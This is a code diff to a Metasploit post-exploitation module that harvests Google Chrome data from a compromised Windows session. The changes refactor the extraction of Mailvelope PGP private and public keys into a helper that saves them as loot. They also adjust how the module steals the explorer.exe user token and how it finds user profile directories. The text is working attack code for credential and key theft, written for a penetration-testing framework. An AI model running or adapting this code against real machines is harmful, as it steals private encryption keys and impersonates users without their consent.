@@ -29,7 +29,7 @@ def initialize(info={})
29
29
[
30
30
'Sven Taute' , #Original (Meterpreter script)
31
31
'sinn3r' , #Metasploit post module
32
- 'Kx499' , #x64 support
32
+ 'Kx499' , #x64 support
33
33
'mubix' #Parse extensions
34
34
]
35
35
) )
@@ -44,6 +44,22 @@ def extension_mailvelope_parse_key(data)
44
44
return data . gsub ( "\x00 " , "" ) . tr ( "[]" , "" ) . gsub ( "\\ r" , "" ) . gsub ( "\" " , "" ) . gsub ( "\\ n" , "\n " )
45
45
end
46
46
47
+ def extension_mailvelope_store_key ( name , value )
48
+ return unless name =~ /(private|public)keys/i
49
+
50
+ priv_or_pub = $1
51
+
52
+ keys = value . split ( "," )
53
+ print_good ( "==> Found #{ keys . size } #{ priv_or_pub } key(s)!" )
54
+ keys . each do |key |
55
+ key_data = extension_mailvelope_parse_key ( key )
56
+ vprint_good ( key_data )
57
+ path = store_loot (
58
+ "chrome.mailvelope.#{ priv_or_pub } " , "text/plain" , session , key_data , "#{ priv_or_pub } .key" , "Mailvelope PGP #{ priv_or_pub . capitalize } Key" )
59
+ print_status ( "==> Saving #{ priv_or_pub } key to: #{ path } " )
60
+ end
61
+ end
62
+
47
63
def extension_mailvelope ( username , extname )
48
64
chrome_path = @profiles_path + "\\ " + username + @data_path
49
65
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{ extname } _0.localstorage"
@@ -60,35 +76,15 @@ def extension_mailvelope(username, extname)
60
76
columns , *rows = maildb . execute2 ( "select * from ItemTable;" )
61
77
maildb . close
62
78
63
- rows . each do |row |
64
- res = Hash [ *columns . zip ( row ) . flatten ]
65
- if res [ "key" ] =~ /privatekeys/i
66
- keys = res [ "value" ] . split ( "," )
67
- print_good ( "==> Found #{ keys . size } private key(s)!" )
68
- keys . each do |key |
69
- privkey = extension_mailvelope_parse_key ( key )
70
- vprint_good ( privkey )
71
- path = store_loot ( "chrome.mailvelope.privkey" , "text/plain" , session , privkey , "privkey.key" , "Mailvelope PGP Private Key" )
72
- print_status ( "==> Saving private key to: #{ path } " )
73
- end
74
- end
75
- if res [ "key" ] =~ /publickeys/i
76
- keys = res [ "value" ] . split ( "," )
77
- print_good ( "==> Found #{ keys . size } public key(s)!" )
78
- keys . each do |key |
79
- pubkey = extension_mailvelope_parse_key ( key )
80
- vprint_good ( pubkey )
81
- path = store_loot ( "chrome.mailvelope.pubkey" , "text/plain" , session , pubkey , "pubkey.key" , "Mailvelope PGP Public Key" )
82
- print_status ( "==> Saving public key to: #{ path } " )
83
- end
84
- end
79
+ rows . each do |name , value |
80
+ extension_mailvelope_store_key ( name , value )
85
81
end
86
82
end
87
83
88
84
89
85
90
86
def parse_prefs ( username , filepath )
91
- f = File . open ( filepath , 'r ' )
87
+ f = File . open ( filepath , 'rb ' )
92
88
until f . eof
93
89
prefs = f . read
94
90
end
@@ -221,17 +217,12 @@ def steal_token
221
217
current_pid = session . sys . process . open . pid
222
218
target_pid = session . sys . process [ "explorer.exe" ]
223
219
return if target_pid == current_pid
224
-
225
- if not session . incognito
226
- session . core . use ( "incognito" )
227
-
228
- if not session . incognito
229
- print_error ( "Unable to load incognito" )
230
- return false
231
- end
220
+ if target_pid . to_s . empty?
221
+ print_warning ( "No explorer.exe process to impersonate." )
222
+ return
232
223
end
233
224
234
- print_status ( "Impersonating token: #{ target_pid . to_s } " )
225
+ print_status ( "Impersonating token: #{ target_pid } " )
235
226
begin
236
227
session . sys . config . steal_token ( target_pid )
237
228
return true
@@ -286,7 +277,6 @@ def run
286
277
]
287
278
288
279
@old_pid = nil
289
- @host_info = session . sys . config . sysinfo
290
280
migrate_success = false
291
281
292
282
# If we can impersonate a token, we use that first.
@@ -299,37 +289,39 @@ def run
299
289
host = session . session_host
300
290
301
291
#Get Google Chrome user data path
302
- sysdrive = session . fs . file . expand_path ( "%SYSTEMDRIVE%" )
303
- os = @host_info [ 'OS' ]
304
- if os =~ /(Windows 7|2008|Vista)/
305
- @profiles_path = sysdrive + "\\ Users\\ "
292
+ sysdrive = expand_path ( "%SYSTEMDRIVE%" ) . strip
293
+ if directory? ( "#{ sysdrive } \\ Users" )
294
+ @profiles_path = "#{ sysdrive } /Users"
306
295
@data_path = "\\ AppData\\ Local\\ Google\\ Chrome\\ User Data\\ Default"
307
- elsif os =~ /(2000|NET|XP)/
308
- @profiles_path = sysdrive + " \\ Documents and Settings\\ "
296
+ elsif directory? ( " #{ sysdrive } \\ Documents and Settings" )
297
+ @profiles_path = " #{ sysdrive } / Documents and Settings"
309
298
@data_path = "\\ Local Settings\\ Application Data\\ Google\\ Chrome\\ User Data\\ Default"
310
299
end
311
300
312
301
#Get user(s)
313
302
usernames = [ ]
314
- uid = session . sys . config . getuid
315
303
if is_system?
316
304
print_status ( "Running as SYSTEM, extracting user list..." )
317
- print_error ( "(Automatic decryption will not be possible. You might want to manually migrate, or set \" MIGRATE=true\" )" )
305
+ print_warning ( "(Automatic decryption will not be possible. You might want to manually migrate, or set \" MIGRATE=true\" )" )
318
306
session . fs . dir . foreach ( @profiles_path ) do |u |
319
- usernames << u if u !~ /^(\. |\. \. |All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
307
+ not_actually_users = [
308
+ "." , ".." , "All Users" , "Default" , "Default User" , "Public" , "desktop.ini" ,
309
+ "LocalService" , "NetworkService"
310
+ ]
311
+ usernames << u unless not_actually_users . include? ( u )
320
312
end
321
313
print_status "Users found: #{ usernames . join ( ", " ) } "
322
314
else
315
+ uid = session . sys . config . getuid
323
316
print_status "Running as user '#{ uid } '..."
324
- usernames << session . fs . file . expand_path ( "%USERNAME%" )
317
+ usernames << expand_path ( "%USERNAME%" ) . strip
325
318
end
326
319
327
-
328
320
has_sqlite3 = true
329
321
begin
330
322
require 'sqlite3'
331
323
rescue LoadError
332
- print_error ( "SQLite3 is not available, and we are not able to parse the database." )
324
+ print_warning ( "SQLite3 is not available, and we are not able to parse the database." )
333
325
has_sqlite3 = false
334
326
end
335
327
0 commit comments